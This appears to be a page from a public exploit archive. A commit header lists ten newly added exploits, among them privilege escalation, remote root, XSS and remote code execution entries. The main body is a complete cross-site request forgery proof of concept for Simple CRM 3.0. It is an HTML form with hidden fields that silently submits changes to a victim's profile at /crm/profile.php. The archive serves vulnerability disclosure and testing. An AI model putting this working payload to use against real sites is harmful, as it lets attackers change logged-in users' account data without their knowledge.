033645d201
10 changes to exploits/shellcodes Wise Care 365 5.6.7.568 - 'WiseBootAssistant' Unquoted Service Path iFunbox 4.2 - 'Apple Mobile Device Service' Unquoted Service Path Lexmark Printer Software G2 Installation Package 1.8.0.0 - 'LM__bdsvc' Unquoted Service Path Remote Mouse GUI 3.008 - Local Privilege Escalation Solaris SunSSH 11.0 x86 - libpam Remote Root (3) OpenEMR 5.0.1.7 - 'fileName' Path Traversal (Authenticated) Simple CRM 3.0 - 'Change user information' Cross-Site Request Forgery (CSRF) Simple CRM 3.0 - 'name' Stored Cross site scripting (XSS) Websvn 2.6.0 - Remote Code Execution (Unauthenticated) Customer Relationship Management System (CRM) 1.0 - Remote Code Execution
28 lines
No EOL
1.1 KiB
HTML
28 lines
No EOL
1.1 KiB
HTML
# Exploit Title: Simple CRM 3.0 - 'Change user information' Cross-Site Request Forgery (CSRF)
|
|
# Date: 20/06/2021
|
|
# Exploit Author: Riadh Benlamine (rbn0x00)
|
|
# Vendor Homepage: https://phpgurukul.com/
|
|
# Software Link: https://phpgurukul.com/small-crm-php/
|
|
# Version: 3.0
|
|
# Category: Webapps
|
|
# Tested on: Apache2+MariaDB latest version
|
|
# Description : Simple CRM suffers from Cross-site request forgery, which the attacker can manipulate user data via triggering user to visit suspicious url
|
|
|
|
Vulnerable page: /crm/profile.php
|
|
|
|
POC:
|
|
----
|
|
<html>
|
|
<body>
|
|
<script>history.pushState('', '', '/')</script>
|
|
<form action="http://localhost/crm/profile.php" method="POST" enctype="multipart/form-data">
|
|
<input type="hidden" name="name" value="test" />
|
|
<input type="hidden" name="alt_email" value="" />
|
|
<input type="hidden" name="phone" value="0123456789" />
|
|
<input type="hidden" name="gender" value="m" />
|
|
<input type="hidden" name="address" value="jgjgjgjjggjcsrf" />
|
|
<input type="hidden" name="update" value="Update" />
|
|
<input type="submit" value="Exploit" />
|
|
</form>
|
|
</body>
|
|
</html> |